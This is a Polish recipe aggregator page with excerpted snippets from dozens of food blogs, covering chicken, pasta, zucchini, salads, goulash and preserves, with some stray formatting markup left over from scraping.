Pieczone piersi z kurczaka z mozzarellą i pomidorami 1127

nacięcie wkładamy plaster pomidora i plaster mozzarelli. Wszystko skrapiamy oliwą wymieszaną z posiekanymi listkami bazylii. Podajemy z różnymi dodatkami. Ja podałam z mizerią i ziemniaczkami z wody, które polałam sosem, jaki otrzymamy z pieczenia piersi. Prosty i sycący obiad dla 4 osób. The post Pieczone piersi z kurczaka z mozzarellą i pomidorami appeared first on Moja Delicja

Moja Delicja
Delikatna potrawka z cielęciny ze śmietanowo-chrzanową nutą 164

Dzisiaj pomysł na potrawkę z cielęciny. Bardzo smaczna i podkreśla naturalny smak tego wyjątkowego mięsa. Wymaga niewiele zachodu, a w efekcie otrzymujemy mięciutkie, aromatyczne mięso, w aksamitnym sosie. Do tego słodziutka fasolka, pyszne młode ziemniaczki, może jakiś orzeźwiający pomidor i cudowny, letni obiad gotowy. Czytaj więcej

Pichceniomania
Sałatka z kurczakiem w gyrosie i żurawiną 215

usmażyć na oleju- przestudzić Żurawinę namoczyć i osączyć dokładnie Składniki sałatki połączyć, wymieszać, dodać olej na którym smażyło się mięso Z musztardy, soku i miodu zrobić ok. 5 łyżek sosu, polać i wymieszać ponownie

Proste Potrawy
Pieczony schab – idealny na kanapki 1120

radością zrezygnujecie ze sklepowych wynalazków. Schab upieczony według tego przepisu jest idealny do jedzenia na zimno na kanapkach. Można go także podawać na ciepło z sosem, który powstaje w trakcie pieczenia. 2 kg schabu środkowego ok. 6 łyżeczek majeranku 6 ząbków czosnku sól olej Schab oczyszczamy z błony, a następnie nacieramy solą, majerankiem i czosnkiem przeciśniętym przez praskę. Mięso wstawiamy

Dieta bez mleka
Mrożona kawa z bitą śmietaną! 360

gałki zamrożonych lodów, umieść w misie blendera, dodaj 10 kostek zamrożonej wody lub mleka, 1 espresso i 1/3 szklanki mleka. Całość zmiksuj. Kawę możesz podać z bitą śmietaną i sosem np. karmelowym. Do bitej śmietany używam słodkiej śmietanki 30% tłuszczu. Pamiętaj aby było mocno schłodzona wtedy, na pewno się ubije. Gotowe smacznego

SMYKWKUCHNI
Tuńczyk z selerem naciowym 190

otrzymamy bardzo pożywny i lekki posiłek, który świetnie smakuje zarówno na ciepło, jak i na zimno. Składniki: (3 - 4 porcje) 1/2 opakowania selera naciowego  2 puszki tuńczyka w sosie własnym  1 cebula  3 ząbki czosnku  3 gałązki natki pietruszki  3 gałązki koperku  1 łyżka koncentratu pomidorowego  1 łyżeczka oregano  1 łyżka majeranku

Kuchcik gotuje
The Plate - weekendowy brunch tex-mex 201

doskonałe - śniadanie było wyjątkowe pod każdym względem: smaku, aromatów, połączenia składników i cudnych kolorów na talerzu. Pojawiła się na nim grillowana tortilla z ryżem i kurczakiem, boskie guacamole, puszysty sos majonezowy, domowe kukurydziane tortille, salsa pomidorowa, aksamitny krem z pieczonego batata, pieczone warzywa i zupełnie odlotowy mus z mango. Należy jeszcze dodać, że lokal jest urządzony ze smakiem, nie jest

Kulinarne przygody Gatity
"W krainie miodem płynącej... 4" - podsumowanie akcji 217

cukinii ; blog: Vanilla Plan Serowe kluski z malinami ; blog: Weekendy w domu i ogrodzie Pudding z tapioki z malinami ; blog: Weekendy w domu i ogrodzie Wątróbka w malinowo-miodowym sosie ; blog: Kanarkowa Sałata z malinami, kozim serem i młodą marchewką ; blog: Inspirowane naturą Chrupiąca szarlotka ; blog: Marcepanowa kuchnia Mus owocowy z miodem ; blog: Czerwień i błękit Czekoladowy omlet z czerwoną

Weekendy w domu i ogrodzie
Przecier sok pomidorowy 207

latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;} Domowy przecier sok pomidorowy idealny do zupy pomidorowej, gołąbkowej czy sosu gdy nieco rozcieńczymy zdrowy sok do picia. Nie ma nic lepszego. Składniki: Dojrzałe pomidory, ilości nie podaję ile kto ma Sól Przygotowanie: Pomidory umyć, wykroić stwardniałe szypułki oraz jakieś niedoskonałości

W garach u Gosi
Tagliatelle z cukinią 153

smażyć, aż zmięknie. 4) Całość zalać śmietanką, doprawić solą i pieprzem. Kiedy zacznie się gotować dosypać parmezan i ponownie wymieszać. 5) Na koniec dorzucić ugotowany makaron i połączyć z sosem. 6) Podawać posypane startym parmezanem

Fitsweet.me
Szakszuka, jajka w sosie pomidorowo-paprykowym 191

kanapek. Teraz gdy rodzinnie wyjechaliśmy na wakacje do domu na wsi mamy nieco więcej czasu na wypoczynek. Dzisiejszy, dość leniwy poranek przysłużył się przygotowaniu szakszuki czyli jajek sadzonych w sosie paprykowo-pomidorowym do których przygotowania użyłam przypraw Cykoria. Ilość składników podaję opcjonalnie, można dowolnie zmieniać proporcje : 2-3 duże dojrzałe pomidory 1 czerwona papryka 1-2 spore cebule Kawałek wędliny

W garach u Gosi
Ryżowa zapiekanka z mięsem mielonym i cukinią 247

przypalić zasmażki. Cały czas mieszając stopniowo dolewać mleka. Gdy masa zgęstnieje zestawić z ognia. Ugotowany ryż wyłożyć do wysmarowanego masłem naczynia żaroodpornego. Na ryż wyłożyć mięso. Na wierzch wyłożyć sos beszamelowy.  Zapiekać w piekarniku nagrzanym do 180 stopni przez 20 minut

Motylkowa Kuchnia
Papryka nadziewana kaszą gryczaną,oscypkiem, mięsem i cukinią 169

całości, wymieszaj. Dosmacz przyprawami jakie lubisz. Nadziewaj pozbawione gniazd nasiennych papryki dociskając palcami farsz. Papryki "zamknij" odkrojoną końcówką z "antenką". Przełóż do naczynia do zapiekania. W misce rozrób sos pomidorowy z oliwą z oliwek, oregano i bazylią.  Zalej nim paprykę. Piecz najpierw pod przykryciem około pół godziny, następnie odkryj i zapiekaj około 15 minut . Podawaj na ciepło

Z Kuchni Do Kuchni
KASZA GRYCZANA SMAŻONA Z KURKAMI 231

często mieszając, aż warzywa zmiękną i zrobią się szkliste. Nie rumienimy.  Dodajemy kurki i pokrojonego pomidora. Doprawiamy solą, pieprzem, kurkumą i szczyptą chili. Smażymy około 5 minut, aż sos pomidorowy odparuje.  Dodajemy kaszę gryczaną, starty na tarce ząbek czosnku i natkę pietruszki. Smażymy mieszając przez  1-2 minuty. Przed podaniem posypujemy posiekanym szczypiorkiem

cool and minty
Kurczak w panierce kukurydzianej. Stripsy z kurczaka. 343

podczas smażenia nie trzeba zmieniać oleju przy każdej nowej porcji. Mięso kurczaka ma lekko kukurydziany posmak. Tak usmażonego kurczaka w panierce kukurydzianej zjedliśmy z domowymi frytkami z piekarnika i sosami. Smacznego! The post Kurczak w panierce kukurydzianej. Stripsy z kurczaka. appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Ketchup z cukinii, prosty przepis na pyszny dodatek do dań 225

wąskie sztuki ) 2 cebule 4 ząbki czosnku 1 czerwona słodka papryka 1 łyżeczka chilli 15 dkg cukru 1/2 szklanki octu spirytusowego 1 łyżeczkę pieprzu czarnego 500 ml sosu pomidorowego ( u mnie mój ulubiony z Lidla ) Ja całość przygotowałam w Speedcooku a Ty możesz to zrobić w zwykłym garnku :) Cukinię obieramy i ścieramy na tarce lub używamy robota kuchennego który zetnie

Kuchnia na wzgórzu
Jak upiec paprykę 181

upiec paprykę Pieczona papryka, świetnie sprawdza się na kanapkach, w sosach, jako dodatek do sałatek lub w pastach. Ja uwielbiam hummus przygotowywaną z pieczoną papryką… Przepyszny! Robi się ją bardzo prosto, tylko trzeba pamiętać o jednej ważnej rzeczy… naprawdę musi być mocno przypalona – tylko wtedy będziemy mogli ją oskórować jak Hannibal swoje ofiary. Wielu ludzi zadaje sobie

Blendman
Bezmięsne leczo z cukinią 163

śmietaną, dodatkiem słoniny i smalcu oprócz kiełbasy…. Tak naprawdę, to niemal każdy europejski kraj stworzył swoją wariację na temat leczo. W Niemczech leczo jest np. bazą do sosów. {"@context":"http:\/\/schema.org","@type":"Recipe","image":"http:\/\/mieszamwgarnku.pl\/wp-content\/uploads\/2017\/07\/leczo.jpg","recipeIngredient":["2 z\u0105bki czosnku\r","1 du\u017ca cebula\r","1 \u015brednia zielona cukinia\r","1 \u015brednia

Mieszam w Garnku
Gulasz i kuchnia węgierka 181

przykryciem przez 1 godzinę, mieszając od czasu do czasu. Następnie dodajemy pokrojoną w kostkę paprykę i pomidora. Całość dusimy jeszcze około 2 godziny, tak aby mięso było miękkie. Sos doprawiamy do smaku solą, pieprzem i posypujemy natką pietruszki. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size

Kuchnia Bon Appetit
Piersi z kurczaka w ziołowo-pomidorowym sosie 259

Dziś dzielę się z Wami kolejnym prostym pomysłem na rodzinny obiad. Piersi z kurczaka w ziołowo-pomidorowym sosie , to stosunkowo szybka propozycja. Tak przygotowane danie możecie podać zarówno z ziemniakami, z kaszą, ryżem lub z zestawem samych surówek. Smak i prostota, którą tak lubię. Spróbujcie. Składniki: 3 piersi z kurczaka około 1 łyżki przyprawy do kurczaka – polecam

Słodkie okruszki
Spaghetti ze świeżymi pomidorami i kiełbasą 186

smaków. Wystarczy kupić pomidory, najbardziej polecam do tego dania pomidory lima, które mają cienką skórkę, zwarty miąższ. Według mnie są najlepsze nie tylko na surowo, ale i do wszelkich sosów, także tych, które przygotowujemy w słoikach na zimę. To moja ulubiona odmiana.  Od dawna lubię łączyć pomidory z natką pietruszki, tak jak robiła to zawsze moja babcia Małgosia, wypróbujcie

Moja smaczna kuchnia
WARZYWNE CURRY 1017

gotujemy kolejne 5 minut. W razie potrzeby uzupełniamy bulion lub wodę. Zdejmujemy pokrywkę, dolewamy mleko kokosowe i zagotowujemy. Gotujemy bez przykrycia przez około 2 minuty lub do momentu, aż sos zredukuje się i lekko zagęści. Przed podaniem posypujemy listkami kolendry, posiekanym szczypiorkiem oraz opcjonalnie papryczką chili

cool and minty
Pasztet grzybowy z kaszą gryczaną białą niepaloną 193

Jejku, jejku, nie mogłam się oprzeć wyjadania ze słoika palcami. Lubicie kaszę gryczaną? jeśli tak to polubicie także ten pasztet. Ja miałam wrażenie że zajadam kaszę z grzybowym sosem śmietanowym, pyszota. Grzybów w lasach pod dostatkiem więc można ich użyć albo użyć pieczarek czy boczniaków. Z leśnymi jednak smakuje wybornie. Pasztet grzybowy z kaszą gryczaną białą niepaloną. ROZWIŃ I CZYTAJ

Moje Małe Czarowanie
Kuskus gigant w stylu meksykańskim, rewelacyjna zapiekanka 195

rzepakowego 200g żółtego sera Sposób przygotowania: Na oleju podsmaż drobno posiekaną cebulkę a następnie czosnek. Dodaj pokrojoną w kostkę papryki i jeszcze chwilę podsmażaj. Zalej pomidorami i gotuj aż sos lekko zgęstnieje. Na koniec dodaj fasolę oraz kukurydzę. Wymieszaj z ugotowanym kuskusem. Wyłóż do foremki do zapiekania. Posyp tartym żółtym serem i zapiecz (około 20 minut 180ºC

wysmienity
zapiekanka makaronowa z mielonym mięsem i kapustą 178

Pomysłów na makaronowe dania jest wiele, do moich ulubionych należy szybki makaron z tuńczykiem w śmietanowym sosie . Okazuje się, że to danie jest też Waszym faworytem i najczęściej wyświetlanym wpisem na blogu :-) Ale dziś - zupełnie inny makaron. W formie pysznej zapiekanki z mielonym mięsem, kapustą, natką pietruszki i aromatycznym serem. Przepis z Kuchni Lidla. Pyszności! składniki: 250 g makaronu (kokardki

babka w formie
Placek po węgiersku 225

miękkości mięsa. Na samym końcu papryki pokroić w kostkę, przesmażyć, dodać do mięsa. Mąkę rozmieszać w niewielkiej ilości wody, wlać do mięsa, mieszając doprowadzić do zgęstnienia i zagotowania sosu. Doprawić przyprawami do smaku. Ciasto ziemniaczane: Ziemniaki zetrzeć na tarce o małych otworach (ja tarłam za pomocą robota) Dodać pozostałe składniki ciasta, dobrze wymieszać. Smażyć grube placki na tłuszczu. Usmażone placki

Kuchnia Danusi
Domowe falafele ze świeżego bobu 217

gorący. Falafele smaż partiami z obu stron na złoty kolor. Wyciągnij je łyżką cedzakową i odsącz na ręczniku papierowym z nadmiaru tłuszczu.  Podawaj z chlebkami pita lub tortillami, sosem jogurtowym i ulubionymi warzywami. Na zdjęciach wykorzystałam ugotowany bób, zielony groszek, pędy groszku, buraka oraz świeżą miętę

Chilli Czosnek i Oliwa
Faszerowane podudzia kurczaka w boczku, z fasolką szparagową - z jednej patelni 248

Takim uniwersalnym daniem zarówno dla dorosłych, jak i dla dzieci są właśnie faszerowane podudzia kurczaka, owinięte boczkiem i przygotowane na jednej patelni w towarzystwie fasolki szparagowej . Całość duszona w sosie pomidorowym - czego chcieć więcej? Nooo... może jeszcze ziemniaków, ryżu lub kaszy ;))) Tego typu danie robiłam po raz pierwszy, ale na pewno nie ostatni. Bardzo nam posmakowało, szczególnie dzieciom - moje

Kolorowy Przepisownik
Bezglutenowy placek wytrawny po wiejsku 189

boczku i pomidorki koktajlowe (w całości, lub połówki). Wkładamy do piekarnika nagrzanego do 230-240 stopni na 45 minut. Gotowy placek można podawać polany oliwą z oliwek, ub ulubionym sosem (np. czosnkowym). Smacznego

Quinoa Raz!
Golonki z indyka w piwie, z warzywami 194

też część wywaru odlać (można, ale po co marnować takie dobro…) a resztę zagęścić jasną zasmażką z masła i pszennej mąki, uzyskując coś bardziej na kształt gulaszu, z gęstym sosem. Dla mnie samej ta ‘rosołowa‘ forma jest dużo smaczniejsza i pełna – świetnie nawilża mięso i idealnie wsiąka w pieczywo, z którym takiego indyka podaję.   Z tej ilości składników przygotujecie

Karo in the Kitchen
Kurczak w zielonym sosie 195

Kurczaka wrzucamy na rozgrzaną patelnię wraz z marynatą. Chwilę smażymy i wsypujemy cebulę. Zmniejszamy płomień i przykrywamy na 2 - 3 minut, aby mięso puściło sok. Nie odparowujemy. Wlewamy zblendowany sos i chwilę mieszamy, aby nabrał temperatury. Doprowadzamy do wrzenia, dusimy przez kilka minut pod przykryciem. Dorzucamy makaron, mieszamy i ściągamy z płomienia.  Podajemy posypane świeżo posiekanymi listkami mięty

Kuchnia od dwojga
Kurczak w czerwonym winie według przepisu Julii Child ( Coq au vin) 263

dodajemy grzyby. Smażymy na dużym ogniu przez 4-5 minut. Kiedy kurczak będzie gotowy w ½ szklanki chłodnej wody rozprowadzamy mąkę. Mieszamy, aż nie będzie grudek i dodajemy kilka łyżek sosu. Ponownie mieszamy i dolewamy do brytfanki. Dorzucamy pieczarki, doprowadzamy do wrzenia i kosztujemy. Jeśli istnieje taka konieczność doprawiamy solą i pieprzem. Następnie wyłączamy i podajemy. Smacznego. *W oryginale należy polać

Kolizje Smaków
Faszerowana cukinia w sosie beszamelowym 158

napełnij połówki cukinii. Ułóż je w żaroodpornym naczyniu. Na patelni rozgrzej masło, wsyp mąkę , chwilkę przesmaż mieszając. Wlej mleko i gotuj aż zgęstnieje. Dopraw gałką muszkatołową , solą i pieprzem. Sosem polej cukinię , połóż na nich kawałki pomidora. Przykryj i piecz ok. 30 minut w temp. 200 C. Pychota. Smacznego

Różne smaki w kuchni
Kotlety z fasoli – kuchnia podkarpacka 282

Kotlety z fasoli - kuchnia podkarpacka  Kotlety z fasoli to propozycja dla tych, którzy lubią czasem warzywami zastąpić mięso. Miękkie i delikatne kotleciki najlepiej smakują podane z ziemniakami i sosem pieczarkowym. Przepis pochodzi z okolic Przeworska od Pań z Zespołu z Maćkówki („Wielka księga tradycji kulinarnych województwa podkarpackiego” Stowarzyszenie ProCarpatia). Kotlety z fasoli - kuchnia podkarpacka Składniki na około 20 niewielkich

Trzeci talerz
Łosoś w kremie chrzanowym 200

Jeżeli lubicie jeść łososia, to ta propozycja na pewno Wam zasmakuje. Jest pysznie, zdrowo i nieco zielono. Ja podałam tak przygotowanego łososia z frytkami i miksem sałat z sosem winegret, ale frytki można zastąpić np. młodymi ziemniakami z koperkiem. SKŁADNIKI 400-500 g filetu z łososia 1/2 cytryny 250 g sera ricotta 1 mały pęczek koperku 1/2 brokuła 4 łyżeczki

Passions hobbies life
Najprostszy przepis na placki z cukinii 164

tłuszczu. Placuszki są bardzo pulchne i aromatyczne. Mają bardzo ważną zaletę w porównaniu do zwyczajnych placków ziemniaczanych, szybciej są gotowe :)  Super przekąska na ciepło i na zimno , z sosem czy bez :) na obiad czy na kolację. Serdecznie polecam

W Moim Magicznym Domu
Sałatka z kabanosem i suszonymi śliwkami 224

suszone śliwki pokroić w cienkie paseczki, kabanosa w plasterki. Do głębokiego talerza wyłożyć mix sałat i cykorię. Na sałacie rozłożyć paseczki śliwek i plasterki kabanosa, lekko przemieszać palcami. Składniki sosu dokładnie roztrzepać, polać wierzch sałatki. Całość przybrać całymi kwiatami lub tylko płatkami bratka. Sałatkę można również posypać uprażonymi na suchej patelni pestkami słonecznika. Przepis dodaję do wydarzenia  Błyskawiczny Piątek

Kuchenne zapiski Edyty
Łosoś z makaronem ryżowym i szpinakowym pesto 251

półksiężyce. Na patelni rozgrzać odrobinę oliwy. Wrzucić pieczarki i cebulę. Dodać makaron i pesto. Dokładnie wymieszać. Jeśli pesto jest zbyt zbite, wlać odrobinkę wody na patelnię aby lekko rozrzedzić sos. Dosolić lekko do smaku. Na talerz wyłożyć makaron ryżowy z pesto i pieczarkami. Na wierzchu ułożyć łososia. Można opcjonalnie posypać pestkami dyni i dodać płaty parmezanu zrobione przy użyciu obieraczki

Jaglusia
KOPERKOWE PLACUSZKI Z CUKINII 178

kolor. Po usmażeniu odsączamy je z nadmiaru tłuszczu na ręczniku papierowym. Z podanej porcji wychodzi około 30 - 40 małych placuszków. Rada: Placuszki idealnie smakują ze śmietaną, jogurtem naturalnym lub sosem czosnkowym.  Przepis bierze udział w akcji

Ciastka - domowe słodkości
Ogórki tarte kiszone na zupę 194

wodą) około 20minut od zagotowania się wody. Po tym czasie wyjmuje je i po przestudzeniu wynoszę do piwnicy. Zimą jak znalazł pyszne ogórki do zupy ogórkowej czy też do sosu ogórkowego

W garach u Gosi
Dżem z czerwonej porzeczki 181

galaretki, czy kisiel. Pyszne będą ciasta drożdżowe czy też ucierane, przepyszny też jest porzeczkowy sernik na zimno. Porzeczki możemy również zamknąć w słoikach, przygotujemy z nich galaretkę dżem,  sosy do mięs czy też nalewkę. Możliwości jest bez liku ! ------------------------------------------------------------- Dżem  z czerwonej porzeczki Czas przygotowania: 180 minut Składniki: 1000 g czerwonej porzeczki 700 g cukru Wykonanie : Borówki dokładnie myjemy

Kulinarne przygody Gatity
suszone warzywa -dehydrator 168

zioła przyprawy grzyby nasiona orzechy mięso nabiał Wysuszone produkty, możemy śmiało wykorzystywać jako zdrowe i sycące przekąski. Poza tym, możemy stosować je jako składnik w gotowaniu, pieczeniu, przy przyrządzaniu sosów, zup, pizzy, deserów czy też kompotu. Produkty te, są bardziej intensywne w smaku, jak i bardzie słodsze od ich niektórych świeżych odmian. Suszone owoce mają również swoje zdrowotne właściwości: suszone

w mojej kuchni
Sałatka z kalafiora i kukurydzy 197

drobne kawałki (same różyczki).  Koperek szatkujemy. Jogurt mieszamy z majonezem, dodajemy zmiażdżony czosnek. Solimy i pieprzymy do smaku. Kalafior łączymy z kukurydzą i koperkiem.  Polewamy sosem i delikatnie mieszamy

Qchnia po prostu
Pizza z kurczakiem, pieczarkami i warzywami 225

Pizza to zdecydowanie moje ulubione włoskie danie! Jest znana i lubiana na całym świecie! Składniki pizzy możemy dodać według swoich upodobań. Podstawą jest ciasto drożdżowe, sos  pomidorowy i oczywiście ser. W dzisiejszej odsłonie zapraszam na pizzę wieloskładnikową z kurczakiem, pieczarkami i warzywami. Spód do ciasta, aby było troszkę zdrowiej to dodałam do niego mąkę pełnoziarnistą. Składniki na 2 duże

kulinarne odsłony pati
Sałatka brokułowa 178

czosnek dodajemy do jogurtu i mieszamy, dodajemy łyżkę majonezu i doprawiamy solą. Do miski lub na talerz układamy warstwami kukurydzę, pokrojony w kostkę ser i brokuł, całość polewamy przygotowanym sosem

KUCHNIA POLSKA
Delikatne waniliowo-ryżowe placuszki (na mące ryżowej) 267

również używana do przygotowywania indyjskich marynat. Skład: kmin rzymski, koper włoski, kozieradka, czarnuszka, gorczyca. Mąka ryżowa – wytwarzana z drobno zmielonych ziaren ryżu. Idealna do placuszków, ciast, ciasteczek, zagęszczania sosów. A teraz… zapraszam Was na przepis Składniki: (na 1 większą lub 2 mniejsze porcje) 4 pełne łyżki mąki ryżowej 150 g serka homogenizowanego o smaku waniliowym z pokruszoną laską

Słodkie okruszki
Pikle ekspresowe w 48h – relish do hot dogów i hamburgerów 650

takich proporcjach? W takich, żeby relish nie spadał z jedzonej kiełbaski i nie rozsypywał się.   Do burgerów, wołowiny i kurczaka mieszam posiekane pikle z majonezem, ketchupem lub sosem bbq – w takich samych proporcjach jak wyżej – żeby się elegancko wszystko ze sobą zlepiło. SKŁADNIKI NA 1 litrowy słoik 900g mieszanych warzyw – ogórki, papryka, młode patisony i cukinia, słodka i ostra

Karo in the Kitchen
domowy makaron 223

Domowy makaron jest bardzo szybki do zrobienia i pyszny. Idealny do zupy lub sosu. 1 szklanka wody 1 jajko szczypta soli około 1,5 łyżki wody mąka do podsypywania ( nie za dużo ) Składniki zagnieść na dość elastyczną i nie lepką masę i pozostawić przykrytą ściereczką na 30 minut. Po tym czasie ciasto cienko rozwałkować (podczas wałkowania można podsypać stolnicę odrobiną

cukrem pudrem posypane
NALEŚNIKI BEZ JAJEK 172

jednak. Zachciało mi się naleśników, ale okazało się że w lodówce nie ma ani jednego jajka. Postanowiłam spróbować bez nich ... i udało się !!! Najlepiej smakują podane z twarożkiem, polane sosem truskawkowym.     SKŁADNIKI 1 szkl. mleka, 1 szkl. wody, 2 szkl. mąki lub więcej, 1 łyżeczka sody oczyszczonej, szczypta soli, 1 łyżeczka cukru, 2 łyżki oleju WYKONANIE   Wodę

słodki bratek
Potrawka z cukinią, pomidorem i tuńczykiem 241

akcji Błyskawiczny Piątek - 28 lipca 2017r . Jej podsumowanie można znaleźć na blogu: c.d.n.   Składniki na 2 porcję: 50g makaronu - ważony "suchy", przed gotowaniem 1/2 puszki rozdrobnionego tuńczyka w sosie własnym - wraz z wodą z puszki 1/2 średniej cebuli 1 średni pomidor - u mnie malinowy 1/2 małej młodej cukinii - zużyłam kawałek ok 10cm długości 1/2 średniej zielonej papryki 2 łyżeczki

Grunt to przepis!
Makaron ze szpinakiem 309

smaku solą oraz pieprzem. Wlewamy śmietanę, oraz dodajemy pokrojony serek topiony (równie dobrze sprawdza się serek topiony z pojemniczka). Podgrzewamy do czasu, aż serek sie roztopi. Nie gotujemy. Gotowy sos mieszamy z odcedzonym makaronem

Smaki Na Talerzu
sałatka z melona i ogórka 164

Melona przekrawamy i przy pomocy specjalnej łyżeczki wydrążamy miąższ. Sok z cytryny mieszamy z oliwą z oliwek oraz cukrem. Np. w wydrążonych połówkach układamy cząstki melona i ogórka. polewamy sosem i posypujemy listkami męty

Domowy Smak Jedzenia
Rolady mięsne z mielonego 197

chowamy do lodówki, gdy chcemy roladę pokroić na kolację. Serwujemy na gorąco  15 min. po upieczeniu do obiadu. Jeżeli chcemy podać  roladę jeszcze inaczej, to proponuję w sosie.  Smacznego

chleba naszego
TARTA Z ŁOSOSIEM, RICOTTĄ I POMIDORKAMI KOKTAJLOWYMI 205

piekarnika na około 30 minut. Pod koniec pieczenia dodaj pomidorki koktajlowe przekrojone  na pół i piecz jeszcze przez około 5 minut. Podawaj na ciepło, najlepiej z sałatą doprawioną sosem winegret. *Zamiast mąki pszennej, możesz również użyć mąki orkiszowej lub mąki bezglutenowej. **Wodę dodawaj stopniowo, najlepiej tylko po łyżce wody, sprawdzając konsystencję ciasta. Zbyt duża ilość wody spowoduje, że podczas

Smaki Francji współczesna kuchnia francuska
Kalafior pieczony 596

jedna po drugiej odpadały bezwładnie do miseczki. Jakby mało się biedak nacierpiał, to podtopiłem go pod bieżącą wodą, molestowałem ręcznikiem kuchennym i na deser dołożyłem mu sporą dawką ostrego sosu sriracha i szczyptę ostrej papryki. Obtoczony we wszystkich przyprawach był gotowy na swoją ostatnią podróż… Artykuł Kalafior pieczony pochodzi z serwisu Blendman.pl - kuchnia roślinna

Blendman
Majonez z fasoli 219

Majonez z fasoli Wiele osób sądzi, że przejście na weganizm to niekończące się pasmo ograniczeń. Ja odbieram to zupełnie inaczej. Dla mnie weganizm otworzył drzwi, których

Blendman
Kalafiorowe placki z piekarnika 193

jeden placek nałożyłam 2 łyżki masy i wygładziłam. Placki pieczemy około 30 minut w temperaturze 180 stopni C. W połowie pieczenia przełożyłam placki na drugą stronę. Placki podajemy ze sosem pomidorowym lub z jogurtem z dodatkiem koperku

Przysmaki Karolki
MAKARON ZE SZPINAKIEM, POMIDORKAMI KOKTAJLOWYMI I SEREM LAZUR 150

dodaję ser pleśniowy i 2/3 sera Grana Padano, trzymam na małym ogniu do momentu rozpuszczenia się serów. Na koniec dodaję śmietanę, mieszam, w razie potrzeby doprawiam do smaku. Przygotowany sos łączę z ugotowanym makaronem. Na talerzu posypuję pozostałym serem

JejKuchnia
Hot dogi z rukolą i pomidorkami 317

Składniki: 4 bułki do hot dogów 4 parówki 100 g rukoli garść pomidorków koktajlowych ketchup prażona cebulka sos serowy chili Przygotowanie: Bułki i parówki bez osłonek obsmażyć na patelni grillowej. … Czytaj dalej Hot dogi z rukolą i pomidorkami

czarrna od kuchni
Cukinia w cieście naleśnikowym na ostro. 167

pokryło tylko dno, następnie obtaczamy cukinię w cieście i smażymy z obydwu stron na złoty kolor.Odsączamy z nadmiaru tłuszczu na papierowym ręczniczku. Podajemy z ketchupem lub sosem czosnkowym. Smacznego:) Asia

Sama słodycz i szczypta chili
Cukinia faszerowana kurczakiem i kaszą jaglaną 234

ostrożnie nadziewamy farszem Posypujemy startym żółtym serem. Pieczemy na blaszce w piekarniku nagrzanym do 200 stopni ok. 40 minut. Gotowe:) Cukinia wychodzi mocno pomidorowa:) Możemy podawać ze śmietaną lub sosem czosnkowym. Hasta Luego

la cuchara
Sałatka z wołowiną, bobem, kolendrą i rukwią wodną 265

Od jakiegoś czasu mamy ziołowy ogródek na balkonie (to temat na inny wpis, który pojawi się na pewno na naszym fanpage, możliwe, że też na blogu

slodkokwasnapl
GOŁĄBKI Z MIĘSEM I RYŻEM - JAK U BABCI 182

kawałki pomidory. Wrzucamy listek i ziele ang. Zalewamy gorącą wodą, tyle aby zakryło gołąbki. Gotujemy ok 1 godz 15 minut, jeśli mamy młoda kapustę wystarczy 40 minut. Po ugotowaniu sos zagęszczamy mąką

Z Majeczką w kuchni
Flan waniliowy 291

karmel będzie stygł. Musimy zdążyć wysmarować boki keksówki cienką warstwą i unikniemy tym samym zgrubiałej tafli karmelu na spodzie, która tak czy inaczej przy wyjmowaniu schłodzonego deseru wypłynie tworząc sos. Jeszcze jeden aspekt, mianowicie cytryna lub sok z limonki. W tym przepisie dodanie kwaśnego soku jest to niezbędne przy robieniu karmelu, gdyż zapobiegnie krystalizacji cukru. Chyba skończyłam moją długą wypowiedź

vaniliowoczekoladowa
Pulpety w sosie 191

Pulpeciki w sosie , prosto, szybko i smacznie. 1/2 kg mięsa mielonego 1 jajko cebulka przyprawy [sól,pieprz, vegeta, majeranek] marchewka 1/2 szkl. śmietany listek,ziele sól, pieprz koper Do mięsa dodać jajko,dodać także przyprawy, posiekaną cebulkę i wymieszać. Formować małe pulpeciki. W garnku zagotować wodę , dodać pokrojoną marchew i przyprawy.Do gotującej się wody wrzucać pulpeciki i gotować około

Moje domowe kucharzenie
Rolada z kremem bazyliowym i porzeczkami 204

Napęczniałą żelatynę podgrzejcie, dodajcie odrobinę gorącej porzeczki z garnka, mieszajcie aż się rozpuści - Nie gotujcie-  Dodajcie do reszty masy porzeczkowej, i jak trochę przestygnie możecie zblendować na gładki sos, lub zostawcie porzeczki w kawałkach. Wykonanie.  Rozwińcie biszkopt i nałóżcie krem bazyliowy, posypcie świeżymi porzeczkami i zawińcie ponownie.  Schłodźcie w lodówce kilka godzin.  Krójcie ostrym nożem. Podawajcie

Piekarz-Kucharz-Garkotłuk
Makaron ze szpinakiem i kurczakiem 168

może być makaron pełnoziarnisty, który gotowy do jedzenia jest po około 10 minutach gotowania. Jak widać przygotowanie go nie trwa długo, a w tym czasie możemy zrobić jakiś dobry sos. Tym razem postawiłem na pierś z kurczaka oraz szpinak, które razem z makaronem tworzą pełnowartościowy, zdrowy posiłek. Składniki Makaron pełnoziarnisty 2 garści szpinaku 1 podwójna pierś z kurczaka 1 ostra

Programista w kuchni
Pierś z kurczaka w sosie musztardowym 171

Smaczny obiad w mniej niż 30 minut? Tak, to możliwe. Wystarczy pierś z kurczaka, ryż, śmietanka 30% i musztarda. Do tego odrobina posiekanego pora i mamy

Programista w kuchni
Burger wołowy z jalapeño, buraczkami zasmażanymi, rukolą i sałatą strzępiastą 182

nich dodatkowo buraczki zasmażane kupione w sklepie (dostępne w słoikach), rukolę oraz sałatę strzępistą. Całość została zamknięta w wiejskiej bułce. Co ciekawe do ich przygotowania nie użyłem żadnego sosu, a smakowały rewelacyjnie. Pikantne mięso oraz rukola doskonale łączą się z buraczkami zasmażanymi, które neutralizują nieco ostrość tworząc bardzo ciekawy smak. Jeżeli nie mieliście jeszcze okazji spróbować takiej kompozycji koniecznie musicie

Programista w kuchni
Gulasz z jelenia 162

cebula się zeszkli dodajemy wcześniej przygotowane mięso oraz pieczarki pokrojone na półplasterki. Całość smażymy przez około 30 minut. Następnie blendujemy ze sobą małą papryczkę chilli oraz pomidory. Tak przygotowany sos dodajemy do smażącego się mięsa i mieszamy. Po około 15-20 minutach dodajemy pokrojone w kostkę ogórki kiszone. Po kolejnych 10 minutach dodajemy mrożony groszek. Całość dusimy jeszcze przez

Programista w kuchni
Domowa ricotta 190

